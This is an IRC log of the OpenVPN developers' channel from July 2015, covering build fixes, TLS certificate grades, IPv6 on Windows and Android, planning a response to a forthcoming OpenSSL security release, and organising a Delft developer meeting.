https://www.ssllabs.com/ssltest/analyze.html?d=swupdate.openvpn.net&s=96.44.184.130&hideResults=on 12:30 <@vpnHelper> Title: SSL Server Test: swupdateopenvpnnet (Powered by Qualys SSL Labs) (at www.ssllabs.com) 12:32 <@cron2> yay, quality CDN... 12:32 <@cron2> grade F is quite an achievement 12:32 <@dazo> yeah 12:32 <@cron2> let me see how my own server fares... 12:32 <@dazo> oh ... swupdate.openvpn.ORG ... shouldn't that be swupdate.openvpn.NET? 12:33 <@cron2> you tested .net 12:33 <@cron2> oh 12:33 <@cron2> good point 12:33 <@dazo> yeah, on ssllabs ... but not curl 12:33 <@cron2> .org resolves to 104.28.0.12 12:33 <@dazo> right 12:35 <@cron2> but I can happily get the installer from .net as well... 12:35 <@cron2> (my own server is "B", if i ignore the "trust issues" - self signed certificate) 12:38 <@dazo> My servers were A+ last time I checked 12:38 <@dazo> (But I do have proper certificates on those public hosts) 12:39 <@cron2> there really isn't anything *really* important on that server... but yeah, I could work on the remaining issues 12:41 <@dazo> My wife needed access to the webmail in a school network, and it freaked out completely and denied access if the certificates were not signed by "trusted" CAs ... plus we share some info with family who also freaked out by the warnings the browsers showed ("Doesn't David have a secure server?!?") 12:43 <@dazo> got reasonably affordable certs on namecheap.com (~$25 for 3 years or so) 12:45 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 12:47 <@dazo> (oh, I got a 5 year deal, for $39.75) 13:04 <@dazo> hmmm ... thunderbird managed to pick a really odd e-mail address for mattock .... 14:56 <@cron2> whee, who introduced VS2010 breakage into 2.3 14:57 <@plai> it is cyrpto.c so probably Fox IT 1111!!!!eleven 15:56 <@syzzer> yes, __func__ is very likely my doing... 15:56 <@syzzer> (and there's a lot more of that in the master branch I think...) 15:58 <@cron2> seems James hasn't been compiling master on windows recently either :-) 16:04 <@syzzer> re ssl: I just use a free cert from startssl.com and disable everything but TLSv1.2. Gives me 'A' on ssllabs :) 16:08 <@syzzer> ah, there's a __func__ in socket.c too (inside #ifdef ANDROID). I think plai sneaked that in! 16:30 <@syzzer> aargh, just as I sent out a patch, the ml delivers plai's replay from an hour earlier... :') 16:39 <@syzzer> ooh, sounds like a windows developer on the list! 17:02 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 255 seconds] 18:31 <@vpnHelper> RSS Update - tickets: #572: Error connecting using ECDSA certificates <https://community.openvpn.net/openvpn/ticket/572> 18:49 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 19:23 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 248 seconds] 19:26 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 20:08 -!- dazo is now known as dazo_afk --- Day changed Thu Jul 02 2015 01:03 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds] 01:04 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 01:04 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:25 <@cron2> so... my server is at least "B" now (startssl cert :) ) 02:25 <@cron2> the DH param is harder... needs apache upgrade to 2.4 (or 2.2+patch) and I'm too lazy for that right now 02:51 <@plai> that func in socket.c is a static string anyway :) 02:54 <@syzzer> plai: as are all occurances of __func__ by definition, right? 02:57 <@plai> syzzer: yeah, but most times it is used in a macro 03:02 * cron2 wonders whether we should change the comment into a proper comment, though... 03:02 <@cron2> x.c:5:17: warning: C++ style comments are not allowed in ISO C90 [enabled by default] #ifdef NOT_HERE //windows 03:02 <@cron2> (gcc -pedantic) 03:04 <@syzzer> grmbl... how about adding -std=c99 to our gcc flags? 03:04 <@plai> syzzer: vs 2010 does not support the whole c99 standard 03:04 <@syzzer> 2013 neither... (__func__ is defined in c99) 03:04 <@cron2> uh, gcc is fine with the code, unless I add -pedantic :-) - I was just double testing to see whether it would blow up on one of the more exotic platforms 03:05 <@syzzer> I copied the comment from other #ifdef _MSC_VER occurrances 03:05 <@syzzer> so that should be fine 03:05 <@cron2> ok 03:06 <@cron2> didn't see we already have some of them - in that case, just ignore me :) 03:11 <@vpnHelper> RSS Update - gitrepo: Make __func__ work with Visual Studio too <https://github.com/OpenVPN/openvpn/commit/9884e20810bda737c7708ff587e09cc0bb8475c7> 04:17 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 04:19 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 04:58 -!- dazo_afk is now known as dazo 06:30 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 06:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:36 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 12:16 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 255 seconds] 12:31 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 12:38 -!- s7r_w [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 12:40 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 246 seconds] 12:48 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 12:55 -!- s7r_w [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 246 seconds] 14:30 -!- Guest28115 [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 15:11 -!- Guest28115 is now known as s7r 16:17 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 248 seconds] 16:21 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 17:11 -!- mator [~mator@u163.east.ru] has quit [Ping timeout: 246 seconds] 17:18 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 17:51 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 248 seconds] 17:53 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 17:53 -!- mode/#openvpn-devel [+o dazo] by ChanServ 18:57 -!- dazo is now known as dazo_afk 21:59 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 22:01 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 22:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri Jul 03 2015 01:04 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:04 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:27 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:38 <@cron2> mornin' 03:09 <@syzzer> morning :) 04:16 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 05:03 -!- dazo_afk is now known as dazo 05:08 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has quit [Ping timeout: 256 seconds] 05:14 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 05:14 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 05:36 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 05:59 <@dazo> gee ... some people have guts .... paraphrased e-mail: "Dear developer! I have troubles, here's my attempt, can you send me back a working config?" 06:07 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:07 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:17 <@dazo> jjk is on fire these days :) 07:11 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 07:12 <@plai> dazo: I get tons of these 07:13 <@dazo> plai: do you respond at all? 07:47 <@plai> dazo: 95% of time not 08:51 -!- s7r_x [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 08:51 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 256 seconds] 11:39 -!- s7r_x_r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 11:40 -!- s7r_x [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 256 seconds] 12:21 -!- s7r_x_r is now known as s7r 13:32 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 13:33 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 14:41 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 15:02 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Quit: Bye] 15:08 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 16:26 <@dazo> *sigh* .... https://community.hide.me/threads/s3-keine-verbindung-mehr.1879/ (search for security@....) 16:26 <@vpnHelper> Title: S3 keine Verbindung mehr ? | hide.me VPN Community (at community.hide.me) 16:27 <@dazo> mattock: can we please hide the security@ address ... it really doesn't provide any good, there are far too much noise .... people do not understand what a security issue in OpenVPN really means 16:54 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 16:55 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 16:56 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 256 seconds] 18:00 <@ecrist> dazo: are you around? 18:00 <@ecrist> cron2: are you around? 18:16 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 18:22 -!- dazo is now known as dazo_afk 18:26 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 248 seconds] 18:54 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 18:54 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 18:55 -!- dazo_afk is now known as dazo 19:13 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 256 seconds] 19:23 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 19:23 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 19:24 -!- dazo_afk is now known as dazo 19:47 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 256 seconds] 19:51 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 256 seconds] 19:53 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 19:53 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 19:54 -!- dazo_afk is now known as dazo 20:37 -!- Irssi: #openvpn-devel: Total of 18 nicks [10 ops, 0 halfops, 1 voices, 7 normal] 21:55 -!- Guest67282_k [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 23:03 -!- Guest67282_k_z [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 23:05 -!- Guest67282_k [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 256 seconds] 23:08 -!- Guest67282_k_z [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 256 seconds] --- Day changed Sat Jul 04 2015 00:45 -!- Guest67282_p [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 03:36 -!- Guest67282_p is now known as s7r 10:59 -!- Guest67282_p [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 11:00 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 256 seconds] 11:04 -!- Guest67282_p [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 11:05 -!- Guest67282_p [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 11:09 -!- Guest67282_p [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 16:07 -!- Guest67282_p_w [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 16:35 -!- Guest67282_p_w is now known as s7r 17:22 -!- Guest67282_p_w [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 17:22 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 256 seconds] 18:17 -!- Guest67282_p_w is now known as s7r 18:28 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 18:28 -!- Guest67282_p_w [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 18:39 -!- Guest67282_p_w is now known as s7r --- Day changed Sun Jul 05 2015 00:22 -!- m0hm0h [m0hm0h@kapsi.fi] has joined #openvpn-devel 00:28 < m0hm0h> Hi all, I'm seeking small advice for my University project, in which I'm trying to inject packets to a TCP stream that is tunneled over OpenVPN. On the client VPN side, I successfully write a previously transmitted TCP segment to the tuntap device, and I see the packet on wireshark. However, it seems like it never leaves the client machine's eth0 device - it does not exist in eth0 log captures. The tunnel works otherwise and I've disabled all *rp_filter* stu 01:09 < m0hm0h> I'm actually seeing some new log information: TUN/TAP packet was destructively fragmented on write to tun0 (tried=0,actual=175) 01:12 < m0hm0h> that is actually due to me writing packet from my own buffer instead of from c->c2.to_tun, and that's where the message originates from. Thinking if I should use c->c2.to_tun buffer instead of my own buffer? 07:40 <@vpnHelper> RSS Update - tickets: #573: Client on Fedora 21: config option "auth-user-pass" works when in config file, but not on command line <https://community.openvpn.net/openvpn/ticket/573> 09:09 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:09 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:57 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 16:03 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 19:29 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 264 seconds] 19:32 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 19:46 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel --- Day changed Mon Jul 06 2015 02:41 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:41 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 02:42 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 06:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:49 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:50 -!- Netsplit *.net <-> *.split quits: EvilJStoker 11:51 -!- Netsplit over, joins: EvilJStoker 12:48 -!- mattock_ [~yaaic@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:48 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 13:33 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 13:45 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 256 seconds] 14:00 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 14:03 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 252 seconds] 14:05 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 14:06 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 255 seconds] 16:39 <@dazo> mattock: A heads-up to you: https://mta.openssl.org/pipermail/openssl-announce/2015-July/000037.html 16:39 <@vpnHelper> Title: [openssl-announce] Forthcoming OpenSSL releases (at mta.openssl.org) 17:06 <@syzzer> heh, was just about to post the same 17:19 <@dazo> :) 19:10 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 19:39 -!- dazo is now known as dazo_afk 21:56 -!- s7r_c [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 21:57 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 255 seconds] --- Day changed Tue Jul 07 2015 00:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:49 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 01:15 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:15 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:42 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 248 seconds] 02:03 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:03 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:27 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 248 seconds] 02:30 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:32 -!- s7r_c is now known as s7r 04:37 <@plai> oh great .... 04:37 <@plai> openssl announced that a critical patch is coming tommorow 04:38 <@plai> (Only in german) http://www.heise.de/newsticker/meldung/Kritischer-OpenSSL-Patch-voraus-2739804.html 04:38 <@vpnHelper> Title: Kritischer OpenSSL-Patch voraus | heise online (at www.heise.de) 04:52 * cron2 looks annoyed 04:55 -!- dazo_afk is now known as dazo 09:36 <@cron2> mattock: are you around? 12:04 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:04 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 12:15 <@vpnHelper> RSS Update - tickets: #574: --daemon option fails on 2.3.7 <https://community.openvpn.net/openvpn/ticket/574> 12:32 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 12:34 <@mattock1> uh 12:34 <@mattock1> again 12:35 <@mattock1> openssl will make a release on 9th (Thu) 12:35 <@mattock1> fine by me, tomorrow would have been somewhat difficult to manage 12:39 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 13:20 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 13:28 -!- mattock_ [~yaaic@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 13:40 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 250 seconds] 13:45 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 18:43 -!- dazo is now known as dazo_afk 19:03 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 21:24 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 250 seconds] --- Day changed Wed Jul 08 2015 00:29 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:29 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:30 <@cron2> d12fk: are you around and alive? 03:21 * plai just found out that t-mobile has ipv6 enabled in their mobile network 04:11 <@d12fk> cron2: yup 04:25 -!- dazo_afk is now known as dazo 05:51 <@plai> hm either the user has proto udp instead proto udp6 in his server config or Samsung has broken VPN over IPv6 support 05:51 <@plai> both seems equally likely 06:19 <@cron2> plai: not universally enabled (about 1/3 of the GGSNs and it's random which one you hit) 06:19 <@cron2> but besides that - \o/ 06:19 <@cron2> d12fk: windows question :) 06:20 <@cron2> if a program uses GetIpForwardTable2() and is started on WinXP, what happens? 06:20 <@cron2> will it crash on load ("dynamic linker fail") or will the function just cause an error? 06:23 <@plai> cron2: ah okay, then I was lucky :) 06:39 <@cron2> you can use their test APN (which is seemingly "open for everyone" now) on ipv46test.telekom 06:39 <@cron2> this might not work for other reasons, but if it works, it will always hand out v6 06:42 <@vpnHelper> RSS Update - tickets: #575: easy-rsa leaving files behind <https://community.openvpn.net/openvpn/ticket/575> 06:44 <@plai> cron2: ah okay thanks 06:44 <@plai> cron2: that seems not to be documented anywhere, right? 07:35 <@cron2> plai: no, that's internal information (and is likely to go away when they are happy with the rollout and need no testing anymore) 07:36 <@cron2> ipv46test did IPv6 since about June last year, but you needed to be whitelisted *and* devices just sucked... things have improved quite a bit since then :) 07:47 <@plai> cron2: ah okay :) 07:50 <@plai> downside of IPv6 is that floating from LTE -> WiFi is now broken 08:30 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 08:35 <@cron2> how does floating LTE->WiFi work if you only have v4, but the socket is protected? 08:36 <@cron2> ("normal floating with the same socket" won't work v4<->v6 - we might want to make it work eventually :) - but I wonder how it can work in the first place if the socket is glued to the LTE interface...) 09:10 <@plai> cron2: app detects interface change, issues a network-change via management interface 09:10 <@plai> and OpenVPN decides if a USR1 is generated or just a new protect call is needed for the existing socket (--static or peer-id) 09:11 <@plai> and in Android 4.4+ policy routing has taken over, so protect does not bind to an interface anymore but instead stets some mark which is then evaluated in policy rules/iptables rules 09:12 <@plai> the 2nd protect is probably unnecessary but should not hurt 09:13 <@plai> floating probably also only works for --nobind 09:14 <@plai> no that is not correct the default is to bind to 0.0.0.0:1194 09:22 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 09:22 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 09:50 <@cron2> ah 09:50 <@cron2> cool, if you have the same protocols available left and right, uncool if you have to fall over to "no v6" 10:03 <@d12fk> cron2: the program will just not start because the dynamic linker cannot resolve the symbol 10:05 <@cron2> d12fk: is there a trick around it, to make stuff "fully work" on Vista+up, and "only those bits that can be done" on XP? 10:06 <@cron2> we really need this functionality (get ipv6 default route) to do ipv6-over-ipv6 with overlapping networks, but I don't want to be the one that kills XP support... 10:06 <@cron2> or at least, not if there is "halfway sane" way to decide "we can't do this on XP, go away!" but at least keep working for other parts 10:08 <@d12fk> you can resolve sysmbols dynamically and bail out is the symbol is not resolvable and a feature X is used 10:08 <@d12fk> it is ugly though 10:08 <@d12fk> https://msdn.microsoft.com/en-us/library/windows/desktop/ms682599%28v=vs.85%29.aspx 10:08 <@vpnHelper> Title: Dynamic-Link Library Functions (Windows) (at msdn.microsoft.com) 10:09 <@d12fk> LoadLibraryEx and GetProcAddress are your f(r)iends 10:11 <@plai> iirc we decided to drop XP support for the new service 10:21 <@plai> d12fk: that sounds as ugly as dlsym 10:22 <@d12fk> i thinkk cron2 talks about code in openvpn.exe itself 10:22 <@plai> oh 13:05 <@cron2> yes, this was about "openvpn.exe" - the "query system for default gateway" thingie is done inside openvpn. Of course we could sort of push it out to the iservice, but that would make openvpn-with-ipv6 depend hard on running iservice (so, no invocation from command line etc) - not so good either 13:05 <@cron2> I have not coded the necessary bits (nor all of the framework needed) but will show up on the list with these questions eventually :) 13:05 <@cron2> d12fk: thansk! 14:33 -!- dazo is now known as dazo_afk 14:37 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 14:38 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:38 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:42 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] --- Day changed Thu Jul 09 2015 00:42 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:42 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 01:14 < m0hm0h> OpenVPN client is generating a SIGUSR1 signal (soft, connection-reset) when I'm writing a packet to the local tun0 device by calling encrypt_sign(), can anyone offer help? this happens with a configuration with 'cipher none' 01:20 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:20 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:14 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds] 02:16 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 02:16 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:18 <@vpnHelper> RSS Update - tickets: #576: openvpn doesn't ask for username/password from stdin in daemon mode <https://community.openvpn.net/openvpn/ticket/576> 02:21 <@cron2> mornin' 02:33 <@mattock1> morning 03:19 <@plai> morning 04:51 <@plai> *sigh* 04:51 <@plai> Since Google is moving to BoringSSL in Android, I either have to make the jump to BoringSSL too or import a new OpenSSL version myself 04:55 <@cron2> is BoringSSL call-compatible to anything we have? 04:57 <@plai> BoringSSL is Google's OpenSSL fork 04:57 <@plai> It breaks non GPL confirmation old forks of my app which still link to system libcrypto.so and libssl.so :) 04:58 <@plai> but boringssl from a concept is better than LibreSSL 04:58 <@plai> they really remove function you should not use 04:58 <@plai> instead making them noops 05:03 -!- dazo_afk is now known as dazo 06:06 <@cron2> plai: I see. How exciting :) 06:06 <@cron2> dazo: have you checked your time scheduling for autumn? I'd like to see the date fixed so we can arrange for grandparents to take the kids... 06:15 <@syzzer> ^^ yes, remembered I wanted to ask that this morning too (but ofc forgot before I got behind a keybaord again) 06:31 <@plai> do we have a feedback from james? 06:38 <@syzzer> yes, we do! 06:54 <@plai> My journey to Delft might be the first time I book first class trains 06:54 <@plai> since it is only 20 eur more expensive :) 07:00 <@d12fk> have you agreed on a date yet? 07:04 -!- reators [~holger@2001:1a80:2000:2:5871:ab28:2f35:c061] has joined #openvpn-devel 07:04 <@mattock1> d12fk: I don't think so 07:05 <@mattock1> I think we should poke James with a stick again before we set the date 07:08 <@plai> d12fk: no, but prices are fairly consistent if you book early enough 07:10 <@d12fk> how often do you have to change trains? 07:11 <@d12fk> when I looked it up I think it was as bad as by plane time-wise but I had to change trains 3 or 4 times 07:11 <@plai> d12fk: 3 times too ... 07:11 <@plai> but flights are horrible for me 07:13 <@plai> train is 4:30 h 07:14 <@d12fk> for me it is 6:30 at least 07:14 <@d12fk> so plane becomes an option 07:24 <@cron2> mattock1: no, do not poke James - poke *dazo*. James has filled in the doodle already :) 07:24 <@dazo> I'll have an answer today ... getting final coordinating at work now 07:25 <@dazo> but Oct 9-11 or Nov 6-8 are most likely doable 07:26 <@cron2> Oct 9-11 would be easier for me - grandparents disappear to their next vacation end of october 07:26 <@cron2> (so I could drop off the kids with grandparents and take Simone along) 07:33 <@mattock1> cron2: wft?!?! :D 07:34 <@cron2> mattock1: yes! 07:35 <@mattock1> that's great news 07:36 <@dazo> cron2: I'm personally preferring Oct myself 07:41 <@syzzer> so Oct it is? 07:42 <@syzzer> uhm, no, "so 9-11 Oct it is!" 07:47 * cron2 goes planning :) 07:54 <@cron2> ok, here we go... openssl release... ouch 07:55 <@cron2> actually it's not as bad as I initially thought... if I read this right, it's just "if you have a valid leaf cert, you can use that to sign additional certs and the implementation will accept them as valid" 07:56 <@cron2> which means "your users can play funnies" but I do not see a way to use this to get access without having some cert before - so it's "people you know" not "Joe Random Hacker" 07:57 <@cron2> but the client might be vulnerable to some *other* client pretending to be a server with a "client-cert-signed 'server' cert"... so client update is definitely in order 08:00 <@plai> yes 08:00 <@plai> basically cert trust broken 08:08 <@syzzer> yes, very broken indeed 08:08 <@syzzer> mattock1: you're up! 08:10 <@cron2> syzzer: this --daemon patch is haunting us... people are using openvpn --daemon with passphrase-protected keys... 08:11 <@syzzer> cron2: indeed 08:11 <@cron2> can this be solved at all? if the password prompting is coming from openssl, we're back in hell "either do daemon()-before-crypto (and fail for passphrase) or crypto-before-daemon() (and fail cryptodev)"...? 08:14 <@syzzer> no, circular dependency... 08:14 <@syzzer> we could add options like '--ask-cert-pass-before-daemon', ask them, cache them, etc... 08:15 <@cron2> (auth-user-pass should be solvable, but key passphrase not) 08:16 <@syzzer> or perhaps something askpass-like ? 08:16 <@cron2> ((we *could* introduce a "--prompt-for-passphrase" option which will prompt, store the passprase somewhere, and hand it to openssl later on... and document that this is required if you use --daemon)) 08:17 -!- reators [~holger@2001:1a80:2000:2:5871:ab28:2f35:c061] has left #openvpn-devel [] 08:17 * cron2 needs to think more about this... 08:39 <@dazo> cron2: syzzer: mattock1: I've filled out the doodle now 08:41 <@dazo> syzzer: what about hotels? any recommendations? or can someone do a pre-booking for everyone? 08:44 <@syzzer> dazo: I'll look into it 08:45 <@syzzer> do not have any recommendations yet 08:45 <@syzzer> there's an hotel right next to fox-it, but one more towards the city center might make more sense 08:46 * dazo prefer the hotel where the majority ends up ... wherever that is :) 08:46 <@syzzer> and I'll see if I can arrange bikes for everyone, since that's the best means of transport in Delft :) 08:46 <@dazo> cool! 08:54 <@plai> BoringSSL API/ABI drifted enough to make the port non easy 09:38 <@plai> syzzer: what is missing when I switch to PolarSSL instead of OpenSSL? 09:38 <@plai> pkcs12 support, anything else? 09:38 <@plai> readme also mention --capath and windows cryptapi 10:24 <@syzzer> plai: cfb/ofb cipher modes 10:25 <@syzzer> and openssl supports more ciphers / digests than polarssl, but *if* people are using those it will be a very small minority 10:29 -!- reators [~holger@2001:1a80:2000:2:5871:ab28:2f35:c061] has joined #openvpn-devel 10:57 <@cron2> syzzer: hotel recommendation + bike sounds like a great plan :) 11:04 <@mattock1> new Windows installers in the oven 12:00 <@mattock1> done 12:00 <@mattock1> (after announcements) 12:09 <@mattock1> now 13:17 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 255 seconds] 13:18 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 13:18 -!- mode/#openvpn-devel [+o andj] by ChanServ 14:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 15:10 <@dazo> mattock: any reason you use swupdate.openvpn.ORG and not swupdate.openvpn.NET on the download links? 15:11 <@dazo> iirc, there were different issues between .ORG and .NET URLs 15:32 <@syzzer> just looked for hotels, I think the one right next tot the company is a good choice. 71.50 + 2.40 tax per night without breakfast (83,50 + 2,40 incl.), but we can arrange for breakfast at the company. 15:32 <@syzzer> it is WestCord Hotel Delft 15:33 <@cron2> sounds good to me, and 10 EUR/breakfast is fairly reasonable - but I'll happily let you feed me too :-) - you organize, you decide 15:33 <@syzzer> the down side is that it is next to the highway instead of in the pretty city center :p 15:36 <@cron2> well, "close to where the meeting is" has the benefit of short way in the morning, and it's easy to just drop off stuff in the afternoon before hunting for beer :) - and then we can visit the city center... 15:36 <@syzzer> for me it does not make much of a 